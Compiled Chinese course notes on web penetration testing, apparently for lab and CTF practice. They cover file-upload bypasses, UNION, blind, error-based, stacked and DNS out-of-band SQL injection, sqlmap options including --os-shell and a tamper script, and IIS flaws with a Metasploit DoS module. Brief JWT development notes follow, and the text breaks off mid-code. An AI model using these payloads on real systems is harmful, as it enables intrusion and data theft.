0%

思维导图

41WEB攻防

知识点:

  • 27、文件上传-安全解析方案-目录权限&解码还原
  • 28、文件上传-安全存储方案-分站存储&OSS对象

章节点:

Web层面:Web2.0 & Web3.0
语言安全:JS,ASP,PHP,NET,Java,Python等(包含框架类)
OWTOP10:注入,文件安全,XSS,RCE,XXE,CSRF,SSRF,反序列化,未授权访问等
业务逻辑:水平垂直越权,支付签约&购买充值,找回机制,数据并发,验证码&弱口令等
特殊漏洞:JWT,CRLF,CORS,重定向,JSONP回调,域名接管,DDOS,接口枚举等
关键技术:POP链构造,JS逆向调试,NET反编译,JAVA反编译,代码解密,数据解密等
Web3.0:未待完续筹备中….

文件-解析方案-执行权限&解码还原

  • 1、执行权限
    文件上传后存储目录不给执行权限
  • 2、解码还原
    数据做存储,解析固定(文件后缀名无关)
    文件上传后利用编码传输解码还原

文件-存储方案-分站存储&OSS对象

  • 1、分站存储
    upload.xiaodi8.com 上传
    images.xiaodi8.com 存储
  • 2、OSS对象
    Access控制-OSS对象存储-Bucket对象

如何判断

实例分析判断

安全绕过

以上方案除目录设置权限如能换目录解析绕过外,其他均无解

思维导图

41WEB攻防

知识点:

  • 24、PHP-中间件-文件上传-CVE&配置解析
  • 25、PHP-编辑器-文件上传-第三方引用安全
  • 26、PHP-CMS源码-文件上传-已知识别到利用

章节点:

Web层面:Web2.0 & Web3.0
语言安全:JS,ASP,PHP,NET,Java,Python等(包含框架类)
OWTOP10:注入,文件安全,XSS,RCE,XXE,CSRF,SSRF,反序列化,未授权访问等
业务逻辑:水平垂直越权,支付签约&购买充值,找回机制,数据并发,验证码&弱口令等
特殊漏洞:JWT,CRLF,CORS,重定向,JSONP回调,域名接管,DDOS,接口枚举等
关键技术:POP链构造,JS逆向调试,NET反编译,JAVA反编译,代码解密,数据解密等
Web3.0:未待完续筹备中….

PHP-中间件-上传相关-Apache&Nginx

复现漏洞环境:vulhub (部署搭建看打包视频)
由于PHP搭建常用中间件:IIS,Apache,Nginx
Web搭建在存在漏洞的中间件上,漏洞影响这文件的解析即配合上传

PHP-编辑器-上传相关-第三方处理引用

复现漏洞环境:ueditor (部署搭建看打包视频)
由于编辑器漏洞较少,实战碰到机会不大,主要理解漏洞产生的思路
参考:https://cloud.tencent.com/developer/article/2200036
参考:https://blog.csdn.net/qq_45813980/article/details/126866682
引用到外部的第三方编辑器实现文件上传,编辑器的安全即是上传安全

PHP-CMS源码-上传相关-已知识别到利用

复现漏洞环境:通达OA-V11.2
        从未知的源码体系测试原生态上传安全,现在是已知CMS源码架构,利用已知的漏洞测试

思维导图

41WEB攻防

知识点:

  • 20、PHP-原生态-文件上传-检测后缀&黑白名单
  • 21、PHP-原生态-文件上传-检测信息&类型内容
  • 22、PHP-原生态-文件上传-函数缺陷&逻辑缺陷
  • 23、PHP-原生态-文件上传-版本缺陷&配置缺陷

章节点:

Web层面:Web2.0 & Web3.0
语言安全:JS,ASP,PHP,NET,Java,Python等(包含框架类)
OWTOP10:注入,文件安全,XSS,RCE,XXE,CSRF,SSRF,反序列化,未授权访问等
业务逻辑:水平垂直越权,支付签约&购买充值,找回机制,数据并发,验证码&弱口令等
特殊漏洞:JWT,CRLF,CORS,重定向,JSONP回调,域名接管,DDOS,接口枚举等
关键技术:POP链构造,JS逆向调试,NET反编译,JAVA反编译,代码解密,数据解密等
Web3.0:未待完续筹备中….


学习前必读:

1、课前一定要明白:
无文件解析安全问题上,格式解析是一对一的(不能jpg解析php)
换句话来说有解析错误配置或后缀解析漏洞时才能实现格式差异解析

2、文件上传安全指的是攻击者通过利用上传实现后门的写入连接后门进行权限控制的安全问题,对于如何确保这类安全问题,一般会从原生态功能中的文件内容,文件后缀,文件类型等方面判断,但是漏洞可能不仅在本身的代码验证逻辑中出现安全问题,也会在语言版本,语言函数,中间件,引用的第三方编辑器等存在缺陷地方配合利用。另外文件上传也有多个存储逻辑,不同的文件存储方案也会给攻击者带来不一样的挑战!

测试环境安装参考:

https://github.com/ffffffff0x/f8x
https://github.com/fuzzdb-project/fuzzdb
https://github.com/sqlsec/upload-labs-docker

  • 1、下载上述资源

  • 2、docker安装

    -d 或 f8x -docker
    1
    2
    git clone https://github.com/sqlsec/upload-labs-docker.git
    cd upload-labs-docker
  • 3、进入项目文件夹

    1
    2
    3
    4
    cd upload-labs-docker  
    docker pull c0ny1/upload-labs(已编辑)
    docker run -dit -p 80:80 $(docker images | grep "upload" -aq)
    http://ip:80
  • 4、一键部署运行

docker-compose up -d

upload-labs-docker知识点:

  • 1、前端JS
    如何判断是否是前端验证呢?
            首先抓包监听,如果上传文件的时候还没有抓取到数据包,但是浏览器就提示文件类型不正确的话,那么这个多半就是前端校验了

  • 2、.htaccess
    AddType application/x-httpd-php .png

  • 3、MIME类型
    Content-Type:image/png

  • 4、文件头判断
    GIF89a

  • 5、黑名单-过滤不严
    无递归,pphphp

  • 6、黑名单-过滤不严
    系统大小写敏感属性

  • 7、低版本GET-%00截断
    自动解码一次
    /var/www/html/upload/x.php%00

  • 8、低版本POST-%00截断
    手工解码一次
    ../upload/x.php%00 二次解码

  • 9、黑名单-过滤不严
    php3

  • 10、逻辑不严-条件竞争

    ‘);?>
    上传不断发包
    请求不断发包

  • 11、二次渲染
    先搞个正常图片,上传导出渲染后的图片
    对比保留部分,在保留部分添加后门代码
    最后利用提示的文件包含执行图片后门代码

  • 11、函数缺陷
    move_uploaded_file 1.php/.

  • 12、代码审计-数组绕过

    1
    2
    3
    4
    5
    6
    7
    8
    -----------------------------174283082921961
    Content-Disposition: form-data; name="save_name[0]"

    http://2.php/
    -----------------------------174283082921961
    Content-Disposition: form-data; name="save_name[2]"

    gif

思维导图

41WEB攻防

知识点:

  • 16、注入工具-SQLMAP-常规猜解&字典配置
  • 17、注入工具-SQLMAP-权限操作&文件命令
  • 18、注入工具-SQLMAP-Tamper&使用&开发
  • 19、注入工具-SQLMAP-调试指纹&风险等级

章节点:

Web层面:Web2.0 & Web3.0
语言安全:JS,ASP,PHP,NET,Java,Python等(包含框架类)
OWTOP10:注入,文件安全,XSS,RCE,XXE,CSRF,SSRF,反序列化,未授权访问等
业务逻辑:水平垂直越权,支付签约&购买充值,找回机制,数据并发,验证码&弱口令等
特殊漏洞:JWT,CRLF,CORS,重定向,JSONP回调,域名接管,DDOS,接口枚举等
关键技术:POP链构造,JS逆向调试,NET反编译,JAVA反编译,代码解密,数据解密等
Web3.0:未待完续筹备中….

参考:

https://www.cnblogs.com/bmjoker/p/9326258.html

数据猜解-库表列数据&字典

(sqlmap:1. 字典文件路径../data/txt/
2. 注入日志路径C:/Users/PC登录账户/AppData/Local/sqlmap/outmap/IP 注:同一IP再次注入时,需删掉之前的注入日志。)
测试:http://vulnweb.com/

1
2
3
4
--current-db    //非ACCESS数据库,查询当前数据库名
--tables -D "db_name"
--columns -T "table_name" -D "db_name"
--dump -C "column_name1,..." -T "table_name" -D "db_name"

权限操作-文件&命令&交互式

测试:MYSQL高权限注入
引出权限:
--is-dba --privileges
引出文件:
--file-read --file-write --file-dest
引出命令:
--os-cmd= --os-shell --sql-shell

提交方法-POST&HEAD&JSON

测试:Post Cookie Json

1
2
3
--data ""
--cookie ""
-r 1.txt

绕过模块-Tamper脚本-使用&开发

测试:base64注入 有过滤的注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
--tamper=base64encode.py
--tamper=test.py
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
pass

def tamper(payload, **kwargs):
if payload:
payload = payload.replace('SELECT','sElEct')
payload = payload.replace('OR','Or')
payload = payload.replace('AND','And')
payload = payload.replace('SLEEP','SleeP')
payload = payload.replace('ELT','Elt')
return payload

分析拓展-代理&调试&指纹&风险&等级

  • 1、后期分析调试:
    -v=(0-6) #详细的等级(0-6)

--proxy "http://xx:xx" #代理注入

  • 2、打乱默认指纹:
    1
    2
    3
    --user-agent ""  #自定义user-agent
    --random-agent #随机user-agent
    --time-sec=(2,5) #延迟响应,默认为5
  • 3、使用更多的测试:测试Header注入
    1
    2
    --level=(1-5) #要执行的测试水平等级,默认为1 
    --risk=(0-3) #测试执行的风险等级,默认为1

思维导图

41WEB攻防

知识点:

  • 13、PHP-MYSQL-SQL注入-二次注入&利用条件
  • 14、PHP-MYSQL-SQL注入-堆叠注入&利用条件
  • 15、PHP-MYSQL-SQL注入-带外注入&利用条件

章节点:

Web层面:Web2.0 & Web3.0
语言安全:JS,ASP,PHP,NET,Java,Python等(包含框架类)
OWTOP10:注入,文件安全,XSS,RCE,XXE,CSRF,SSRF,反序列化,未授权访问等
业务逻辑:水平垂直越权,支付签约&购买充值,找回机制,数据并发,验证码&弱口令等
特殊漏洞:JWT,CRLF,CORS,重定向,JSONP回调,域名接管,DDOS,接口枚举等
关键技术:POP链构造,JS逆向调试,NET反编译,JAVA反编译,代码解密,数据解密等
Web3.0:未待完续筹备中….

PHP-MYSQL-二次注入-DEMO&74CMS

1、DEMO-用户注册登录修改密码
2、CMS-74CMS个人中心简历功能
黑盒思路:分析功能有添加后对数据操作的地方(功能点)
白盒思路:insert后进入select或update的功能的代码块
注入条件:插入时有转义函数或配置,后续有利用插入的数据
(PHP:addslashes转义函数,margic_quotes_gpc魔术引号开关–防止SQL注入,但是二次注入需要有转义或魔术引号配置)

PHP-MYSQL-堆叠注入-DEMO&CTF强网

        堆叠注入触发的条件很苛刻,因为堆叠注入原理就是通过结束符同时执行多条sql语句,例如php中的mysqli_multi_query函数。与之相对应的mysqli_query()只能执行一条SQL,所以要想目标存在堆叠注入,在目标主机存在类似于mysqli_multi_query()这样的函数,根据数据库类型决定是否支持多条语句执行.

1、目标存在sql注入漏洞
2、目标未对”;”号进行过滤
3、目标中间层查询数据库信息时可同时执行多条sql语句
支持堆叠数据库:MYSQL MSSQL Postgresql等

2019强网杯-随便注(CTF题型)

1
2
3
4
5
';show databases;
';show tables;
';show columns from `1919810931114514`;
';select flag from `1919810931114514`;
';SeT @a=0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;(set @a - 自定义变量;prepare -准备要执行的语句;execute - 执行由prepare语句准备的预准备语句;deallocate prepare - 发布准备好的声明)

1、目标存在sql注入漏洞
2、目标未对”;”号进行过滤
3、目标中间层查询数据库信息时可同时执行多条sql语句

PHP-MYSQL-带外注入-DEMO&DNSLOG

  • 1.注入条件
    ROOT高权限且支持load_file()
    有部分注入点是没有回显的,所有读取也是没回显的,采用带外
  • 2.使用平台
    http://ceye.io
    http://www.dnslog.cn
  • 3.带外应用场景:
    解决不回显,反向连接,SQL注入,命令执行,SSRF等
    SQL注入:
    1
    2
    3
    4
    5
    6
    7
    8
    select load_file(concat('\\\\',(select database()),'.7logee.dnslog.cn\\aa'));
    and (select load_file(concat('//',(select database()),'.69knl9.dnslog.cn/abc')))
    // 查询当前数据库
    id=1 and load_file(concat("\\\\",database(),".dbuh8a.ceye.io\\asdt"))

    //查询其他数据库
    id=1 and load_file(concat("\\\\",(select schema_name from information_schema.schemata limit 0,1),".dbuh8a.ceye.io\\xxx.txt"))
    """
            由于该DNS记录只能回显一个字段,所以因该使用limit,第一个参数是查询起始位置,第二个参数是查询个数
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    limit 0,1 查询第一个数据库名
    limit 1,1 查询第二个数据库名
    limit 2,1 查询第三个数据库名
    """
    //查询版本号
    id=1 and load_file(concat("\\\\",version(),".dbuh8a.ceye.io\\xxx.txt"))

    //查询当前数据库demo01中第一个表名
    id=1 and load_file(concat("\\\\",(select table_name from information_schema.tables where table_schema='demo01' limit 0,1 ),".dbuh8a.ceye.io\\xxx.txt"))

    """
            由于该DNS记录只能回显一个字段,所以因该使用limit,第一个参数是查询起始位置,第二个参数是查询个数
    1
    2
    3
    4
    5
    6
    7
    8
    9
    limit 0,1 查询第一个表名
    limit 1,1 查询第二个表名
    limit 2,1 查询第三个表名
    """
    //查询security数据库emails表下第一个列名
    id=1 and load_file(concat("\\\\",(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),".dbuh8a.ceye.io\\xxx.txt"))

    //查询字段值 数据库名为security 表名emails 列名id
    id=1 and load_file(concat("\\\\",(select id from security.emails limit 0,1),".dbuh8a.ceye.io\\xxx.txt"))

思维导图

41WEB攻防

知识点:

  • 10、PHP-MYSQL-SQL注入-方式增删改查
  • 11、PHP-MYSQL-SQL注入-布尔&延迟&报错
  • 12、PHP-MYSQL-SQL注入-数据回显&报错处理

章节点:

Web层面:Web2.0 & Web3.0
语言安全:JS,ASP,PHP,NET,Java,Python等(包含框架类)
OWTOP10:注入,文件安全,XSS,RCE,XXE,CSRF,SSRF,反序列化,未授权访问等
业务逻辑:水平垂直越权,支付签约&购买充值,找回机制,数据并发,验证码&弱口令等
特殊漏洞:JWT,CRLF,CORS,重定向,JSONP回调,域名接管,DDOS,接口枚举等
关键技术:POP链构造,JS逆向调试,NET反编译,JAVA反编译,代码解密,数据解密等
Web3.0:未待完续筹备中….

PHP-MYSQL-SQL操作-增删改查

  • 1、功能:数据查询

查询:SELECT * FROM news where id=$id

  • 2、功能:新增用户,添加新闻等

增加:INSERT INTO news (字段名) VALUES (数据)

  • 3、功能:删除用户,删除新闻等

删除:DELETE FROM news WHERE id=$id

  • 4、功能:修改用户,修改文章等

修改:UPDATE news SET id=$id

PHP-MYSQL-注入函数-布尔&报错&延迟

        盲注就是在注入过程中,获取的数据不能回显至前端页面。我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。
解决:常规的联合查询注入不行的情况

盲注分为以下三类:

  • 1、基于布尔的SQL盲注-逻辑判断
    regexp,like,ascii,left,ord,mid
  • 2、基于时间的SQL盲注-延时判断
    if,sleep
  • 3、基于报错的SQL盲注-报错回显
    floor,updatexml,extractvalue
    延迟:
    1
    2
    3
    and sleep(1);
    and if(1>2,sleep(1),0);
    and if(1<2,sleep(1),0);
    布尔:
    1
    2
    3
    4
    5
    6
    and length(database())=7;
    and left(database(),1)='p';
    and left(database(),2)='pi';
    and substr(database(),1,1)='p';
    and substr(database(),2,1)='i';
    and ord(left(database(),1))=112;
    报错:
    1
    2
    3
    and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)
    and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
    0x7e --> ~ 0x5c --> \
    更多:https://www.jianshu.com/p/bc35f8dd4f7c
    参考:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    like 'ro%'                  #判断ro或ro...是否成立 
    regexp '^xiaodi[a-z]' #匹配xiaodi及xiaodi...等
    if(条件,5,0) #条件成立 返回5 反之 返回0
    sleep(5) #SQL语句延时执行5秒
    mid(a,b,c) #从位置b开始,截取a字符串的c位
    substr(a,b,c) #从位置b开始,截取字符串a的c长度
    left(database(),1),database() #left(a,b)从左侧截取a的前b位
    length(database())=8 #判断数据库database()名的长度
    ord=ascii ascii(x)=97 #判断x的ascii码是否等于97
    (ord表示开启数据库ascii编码开关)

PHP-MYSQL-注入条件-数据回显&错误处理

PHP开发项目-输出结果&开启报错
基于延时:都不需要
and if(1=1,sleep(5),0)
基于布尔:有数据库输出判断标准
and length(database())=6
基于报错:有数据库报错处理判断标准
and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)
测试delete注入:
(有无回显,有无报错)
删除(延迟):
1 and if(1=1,sleep(5),0)
删除(布尔):
3 and length(database())=6(无回显 无法判断注入)
删除(报错):
4 and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)

PHP-MYSQL-CMS案例-插入报错&删除延时

  • 1、xhcms-insert报错
    1
    ' and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1) and '
  • 2、kkcms-delete延时
    1
    2
    3
    and if(1=1,sleep(5),0)
    or if(1=1,sleep(5),0)
    or if(ord(left(database(),1))=107,sleep(2),0)

思维导图

41WEB攻防

知识点:

  • 7、PHP-MYSQL-SQL注入-数据请求类型
  • 8、PHP-MYSQL-SQL注入-数据请求方法
  • 9、PHP-MYSQL-SQL注入-数据请求格式

章节点:

Web层面:Web2.0 & Web3.0
语言安全:JS,ASP,PHP,NET,Java,Python等(包含框架类)
OWTOP10:注入,文件安全,XSS,RCE,XXE,CSRF,SSRF,反序列化,未授权访问等
业务逻辑:水平垂直越权,支付签约&购买充值,找回机制,数据并发,验证码&弱口令等
特殊漏洞:JWT,CRLF,CORS,重定向,JSONP回调,域名接管,DDOS,接口枚举等
关键技术:POP链构造,JS逆向调试,NET反编译,JAVA反编译,代码解密,数据解密等
Web3.0:未待完续筹备中….

PHP-MYSQL-数据请求类型

        SQL语句由于在黑盒中是无法预知写法的,SQL注入能发成功是需要拼接原SQL语句,大部分黑盒能做的就是分析后各种尝试去判断,所以有可能有注入但可能出现无法注入成功的情况。究其原因大部分都是原SQL语句的未知性导致的拼接失败!
由于开发者对于数据类型和SQL语句写法(框架写法)导致SQL注入拼接失败

  • 1、数字型(无符号干扰)

select * from news where id=$id;

  • 2、字符型(有符号干扰)

select * from news where id='$id';

  • 3、搜索型(有多符号干扰)

select * from news where id like '%$id%'

  • 4、框架型(有各种符号干扰)
    1
    2
    select * from news where id=('$id');
    select * from news where (id='$id');

PHP-MYSQL-数据请求方法

全局变量方法:GET POST SERVER FILES HTTP头等

  • User-Agent:
            使得服务器能够识别客户使用的操作系统,游览器版本等.(很多数据量大的网站中会记录客户使用的操作系统或浏览器版本等存入数据库中)
  • Cookie:
            网站为了辨别用户身份、进行session跟踪而储存在用户本地终端上的数据
  • X-Forwarded-For:
            简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP,(通常一些网站的防注入功能会记录请求端真实IP地址并写入数据库or某文件[通过修改XXF头可以实现伪造IP])
  • Rerferer:
            浏览器向 WEB 服务器表明自己是从哪个页面链接过来的
  • Host:
            客户端指定自己想访问的WEB服务器的域名/IP 地址和端口号

如功能点:
1、用户登录时
2、登录判断IP时
是PHP特性中的$_SERVER[‘HTTP_X_FORWARDED_FOR’];接受IP的绕过(绕过)
实现:代码配置固定IP去判断-策略绕过
实现:数据库白名单IP去判断-select注入
实现:防注入记录IP去保存数据库-insert注入
3、文件上传将文件名写入数据库-insert注入

PHP-MYSQL-数据请求格式

1、数据采用统一格式传输,后端进行格式解析带入数据库(json)
2、数据采用加密编码传输,后端进行解密解码带入数据库(base64)

思维导图

41WEB攻防

知识点:

  • 4、PHP-MYSQL-SQL注入-常规查询
  • 5、PHP-MYSQL-SQL注入-跨库查询
  • 6、PHP-MYSQL-SQL注入-文件读写

章节点:

Web层面:Web2.0 & Web3.0
语言安全:JS,ASP,PHP,NET,Java,Python等(包含框架类)
OWTOP10:注入,文件安全,XSS,RCE,XXE,CSRF,SSRF,反序列化,未授权访问等
业务逻辑:水平垂直越权,支付签约&购买充值,找回机制,数据并发,验证码&弱口令等
特殊漏洞:JWT,CRLF,CORS,重定向,JSONP回调,域名接管,DDOS,接口枚举等
关键技术:POP链构造,JS逆向调试,NET反编译,JAVA反编译,代码解密,数据解密等
Web3.0:未待完续筹备中….

MYSQL注入:(目的获取当前web权限)

1、判断常见四个信息(系统,用户,数据库名,版本)
2、根据四个信息去选择方案
root用户:先测试读写,后测试获取数据
非root用户:直接测试获取数据

PHP-MYSQL-Web组成架构

服务器安装MYSQL数据库,搭建多个站点,数据库集中存储MYSQL数据库中管理
可以都使用root用户管理也可以创建多个用户进行每个网站对应的数据库管理

PHP-MYSQL-SQL常规查询

获取相关数据:
1、数据库版本-看是否符合information_schema查询 - version()
2、数据库用户-看是否符合ROOT型注入攻击 - user()
3、当前操作系统-看是否支持大小写或文件路径选择 - @@version_compile_os
4、数据库名字-为后期猜解指定数据库下的表,列做准备 - database()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
MYSQL5.0以上版本:自带的数据库名information_schema  
information_schema:存储数据库下的数据库名及表名,列名信息的数据库
information_schema.schemata:记录数据库名信息的表
information_schema.tables:记录表名信息的表
information_schema.columns:记录列名信息表
schema_name:information_schema.schemata记录数据库名信息的列名值
table_schema:information_schema.tables记录数据库名的列名值
table_name:information_schema.tables记录表名的列名值
column_name:information_schema.columns记录列名的列名值

order by 6
union select 1,2,3,4,5,6
union select 1,2,3,database(),user(),6
union select 1,2,3,version(),@@version_compile_os,6
union select 1,2,3,4,group_concat(table_name),6 from information_schema.tables where table_schema='demo01'
union select 1,2,3,4,group_concat(column_name),6 from information_schema.columns where table_name='admin'
union select 1,2,3,username,password,6 from admin limit 0,1

PHP-MYSQL-SQL跨库查询

影响条件:当前数据库ROOT用户权限
测试不同数据库用户:root demo

1
2
3
4
union select 1,2,3,4,group_concat(schema_name),6 from information_schema.schemata
union select 1,2,3,4,group_concat(table_name),6 from information_schema.tables where table_schema='zblog'
union select 1,2,3,4,group_concat(column_name),6 from information_schema.columns where table_name='zbp_member' and table_schema='zblog'
union select 1,2,3,mem_Name,mem_Password,6 from zblog.zbp_member

PHP-MYSQL-SQL文件读写

影响条件:
1、当前数据库用户权限
2、secure-file-priv设置
测试不同数据库用户:root demo

1
2
union select 1,load_file('d:\\1.txt'),3,4,5,6
union select 1,'xiaodi',3,4,5,6 into outfile 'd:\\2.txt'

读写的路径的问题:
1、报错显示获取路径
2、phpinfo页面泄漏
如果不知道路径思路:
利用常见的默认的中间件,数据库等安装路径读取有价值信息
[https://blog.csdn.net/weixin_30795127/article/details/96558708]

access无数据库用户
mysql里面有内置的管理用户,其中root就是默认数据库管理员用户
网站上面的数据库都在mysql中,由root或一对一用户去管理

1、数据库统一管理(root用户)

每个网站的数据库都由root用户统一管理
网站A:192.168.1.4:81 D:/phpstudy_pro/WWW/Z-Blog 数据库root用户 zblog
网站B:192.168.1.4:82 D:/phpstudy_pro/WWW/demo01 数据库root用户 demo01

1
2
3
4
mysql
root(自带默认)
网站A testA
网站B testB

2、数据库一对一管理(不同用户)

自己的网站单独创建数据库用户去管理自己的数据库
网站A:192.168.1.4:81 D:/phpstudy_pro/WWW/Z-Blog 数据库zblog用户 zblog
网站B:192.168.1.4:82 D:/phpstudy_pro/WWW/demo01 数据库demo用户 demo01

1
2
3
4
5
mysql
testA用户
网站A testA
testb用户
网站B testB

接受的参数值未进行过滤直接带入SQL查询的操作 就是SQL注入产生的原理攻击:利用SQL语句执行你想要的东西(SQL语句能干嘛,注入就能干嘛)
SQL语句能干嘛 = SQL语句由谁决定 => 数据库类型决定 (为什么mysql注入 oracle注入叫法原因)

1
2
3
4
5
http://localhost:63342/demo01/new.php?id=3
select * from news where id=3

http://localhost:63342/demo01/new.php?id=3 union select 1,2,username,password,5,6 from admin
select * from news where id=3 union select 1,2,username,password,5,6 from admin

access注入 sqlmap 靠字典去猜 又可能猜不到表名 列名

1
2
3
4
5
6
7
8
9
10
11
12
13
mysql
demo01
admin
username,password,id
数据
Zblog
zbp_member
mem_Name,mem_Password
数据
Access(单个)
表名
列名(字段)
数据

目的:获取数据
肯定一步步得到信息

查询数据库名demo01下的表名信息(借助information_schema.tables存储查询)

1
http://192.168.1.4:82/new.php?id=1 union select 1,2,3,group_concat(table_name),5,6 from information_schema.tables where table_schema='demo01'

查询数据库名demo01下的表名admin的列名信息(借助information_schema.columns存储查询)

1
http://192.168.1.4:82/new.php?id=1 union select 1,2,3,group_concat(column_name),5,6 from information_schema.columns where table_schema='demo01' and table_name='admin'

跨库查询:

  • 1、数据库统一管理(root用户)
    每个网站的数据库都由root用户统一管理
    网站A:192.168.1.4:81 D:/phpstudy_pro/WWW/Z-Blog 数据库root用户 zblog
    网站B:192.168.1.4:82 D:/phpstudy_pro/WWW/demo01 数据库root用户 demo01

  • 2、跨库注入
    通过B网站的注入点获取A网站的账号密码

获取mysql下所有数据库名:

1
2
3
4
5
http://192.168.1.4:82/new.php?id=1 union select 1,2,3,group_concat(schema_name),5,6 from information_schema.schemata

http://192.168.1.4:82/new.php?id=1 union select 1,2,3,group_concat(table_name),5,6 from information_schema.tables where table_schema='zblog'

http://192.168.1.4:82/new.php?id=1 union select 1,2,3,group_concat(column_name),5,6 from information_schema.columns where table_schema='zblog' and table_name='zbp_member'

解决:单引号过滤绕过方式
SQL注入语句中用单引号就不要编码,编码就不用单引号(路径,表名,数据库名等)

思维导图

知识点:

  • 1、ASP-SQL注入-Access数据库
  • 2、ASP-默认安装-数据库泄漏下载
  • 3、ASP-IIS-CVE&短文件&解析&写入

章节点:

Web层面:Web2.0 & Web3.0
语言安全:JS,ASP,PHP,NET,Java,Python等(包含框架类)
OWTOP10:注入,文件安全,XSS,RCE,XXE,CSRF,SSRF,反序列化,未授权访问等
业务逻辑:水平垂直越权,支付签约&购买充值,找回机制,数据并发,验证码&弱口令等
特殊漏洞:JWT,CRLF,CORS,重定向,JSONP回调,域名接管,DDOS,接口枚举等
关键技术:POP链构造,JS逆向调试,NET反编译,JAVA反编译,代码解密,数据解密等
Web3.0:未待完续筹备中….

ASP-默认安装-MDB数据库泄漏下载

        由于大部分ASP程序与ACCESS数据库搭建,但ACCESS无需连接,都在脚本文件中定义配置好数据库路径即用,不需要额外配置安装数据库,所以大部分提前固定好的数据库路径如默认未修改,当攻击者知道数据库的完整路径,可远程下载后解密数据实现攻击。

ASP-中间件-CVE&短文件&解析&写权限

HTTP.SYS(CVE-2015-1635)

  • 1、漏洞描述
            远程执行代码漏洞存在于 HTTP 协议堆栈 (HTTP.sys) 中,当 HTTP.sys 未正确分析经特殊设计的 HTTP 请求时会导致此漏洞。 成功利用此漏洞的攻击者可以在系统帐户的上下文中执行任意代码。
  • 2、影响版本
            Windows 7、Windows Server 2008 R2、Windows 8、Windows Server 2012、Windows 8.1 和 Windows Server 2012 R2
  • 3、漏洞利用条件
            安装了IIS6.0以上的Windows 7、Windows Server 2008 R2、Windows 8、Windows Server 2012、Windows 8.1 和 Windows Server 2012 R2版本
  • 4、漏洞复现(kali)
    1
    2
    3
    4
    5
    msfconsole  
    use auxiliary/dos/http/ms15_034_ulonglongadd
    set rhosts xx.xx.xx.xx
    set rport xx
    run

IIS短文件

  • 1、描述:
            此漏洞实际是由HTTP请求中旧DOS 8.3名称约定(SFN)的代字符(~)波浪号引起的。它允许远程攻击者在Web根目录下公开文件和文件夹名称(不应该可被访问)。攻击者可以找到通常无法从外部直接访问的重要文件,并获取有关应用程序基础结构的信息。
  • 2、漏洞成因:
            为了兼容16位MS-DOS程序,Windows为文件名较长的文件(和文件夹)生成了对应的windows 8.3短文件名。在Windows下查看对应的短文件名,可以使用命令dir /x
  • 3、应用场景:
            后台路径获取,数据库文件获取,其他敏感文件获取等
  • 4、利用工具:
    https://github.com/irsdl/IIS-ShortName-Scanner
    https://github.com/lijiejie/IIS_shortname_Scanner

IIS文件解析

IIS 6 解析漏洞
1、该版本默认会将*.asp;.jpg 此种格式的文件名,当成Asp解析
2、该版本默认会将*.asp/目录下的所有文件当成Asp解析。
如:logo.asp;.jpg xx.asp/logo.jpg
IIS 7.x 解析漏洞
在一个文件路径(/xx.jpg)后面加上/xx.php会将/xx.jpg/xx.php 解析为php文件
应用场景:配合文件上传获取Webshell

IIS写权限

IIS<=6.0 目录权限开启写入,开启WebDAV,设置为允许
参考利用:https://cloud.tencent.com/developer/article/2050105

ASP-SQL注入-SQLMAP使用&ACCESS注入

        ACCESS数据库无管理帐号密码,顶级架构为表名,列名(字段),数据,所以在注入猜解中一般采用字典猜解表和列再获取数据,猜解简单但又可能出现猜解不到的情况,由于Access数据库在当前安全发展中已很少存在,故直接使用SQLMAP注入,后续再说其他。

1
2
3
python sqlmap.py -u "" --tables //获取表名
python sqlmap.py -u "" --columns -T admin //获取admin表名下的列名
python sqlmap.py -u "" --dump -C "" -T admin //获取表名下的列名数据

思维导图

22安全开发

知识点:

  • 50、JavaEE-SpringBoot-身份鉴权-JWT技术
  • 51、JavaEE-SpringBoot-打包部署-JAR&WAR

章节点

  • 1、PHP:
    功能:新闻列表,会员中心,资源下载,留言版,后台模块,模版引用,框架开发等
    技术:输入输出,超全局变量,数据库操作,逻辑架构,包含上传&下载删除;
    技术:JS&CSS混用,Cookie,Session操作,MVC架构,ThinkPHP引用等。
    安全:原生PHP开发安全,模版引用安全,第三方插件安全,TP框架安全等
  • 2、JS:
    功能:登录验证,文件操作,SQL操作,云应用接入,框架开发,打包器使用等
    技术:原生开发,DOM,常见库使用,框架开发(Vue,NodeJS),打包器(Webpack)等
    安全:原生开发安全,NodeJS安全,Vue安全,打包器Webpack安全,三方库安全问题等
  • 3、Java:
    功能:数据库操作,文件操作,序列化数据,身份验证,框架开发,第三方库使用等.
    框架库:MyBatis,SpringMVC,SpringBoot,Shiro,Log4j,FastJson等
    技术:Servlet,Listen,Filter,Interceptor,JWT,AOP,待补充
    安全:SQL注入,RCE执行,反序列化,脆弱验证,未授权访问,待补充
    安全:原生开发安全,第三方框架安全,第三方库安全等,架构分析,待补充

SpringBoot-身份鉴权-JWT技术

[https://zhuanlan.zhihu.com/p/394138133]
JWT(JSON Web Token)是由服务端用加密算法对信息签名来保证其完整性和不可伪造;
Token里可以包含所有必要信息,这样服务端就无需保存任何关于用户或会话的信息;
JWT用于身份认证、会话维持等。由三部分组成,header、payload与signature。
参考:https://cloud.tencent.com/developer/article/2101634

  • 1、引入依赖
    1
    2
    3
    4
    5
    <dependency>
    <groupId>com.auth0</groupId>
    <artifactId>java-jwt</artifactId>
    <version>3.4.0</version>
    </dependency>
  • 2、创建JWT
    1
    JWT.create()  
  • 3、配置JWT
    1
    2
    3
    4
    5
    6
    7
    8
    9
    JWT.create()  
    //header
    .withHeader(map)
    //payload
    .withClaim("userid",id)
    .withClaim("username",user)
    .withClaim("password",pass)
    //signature
    .sign(Algorithm.HMAC256("xiaodisec"));
  • 4、解析JWT
    1
    2
    3
    4
    5
    6
    //构建解密注册
